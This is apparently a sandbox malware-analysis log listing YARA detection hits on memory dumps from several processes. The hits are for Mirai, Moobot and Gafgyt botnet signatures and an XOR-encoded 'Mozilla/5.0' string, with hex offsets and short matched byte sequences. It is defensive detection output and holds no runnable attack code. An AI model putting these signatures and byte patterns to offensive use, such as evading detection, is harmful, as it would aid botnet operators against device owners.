7203.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7203.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7203.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7203.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7339.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7174.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7241.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7348.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6441.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6441.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6441.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6861.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6861.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6861.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6861.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6861.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6861.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7392.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7392.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7392.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6257.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6746.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6578.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6578.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6578.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6578.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6578.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6578.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6710.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7333.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6378.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
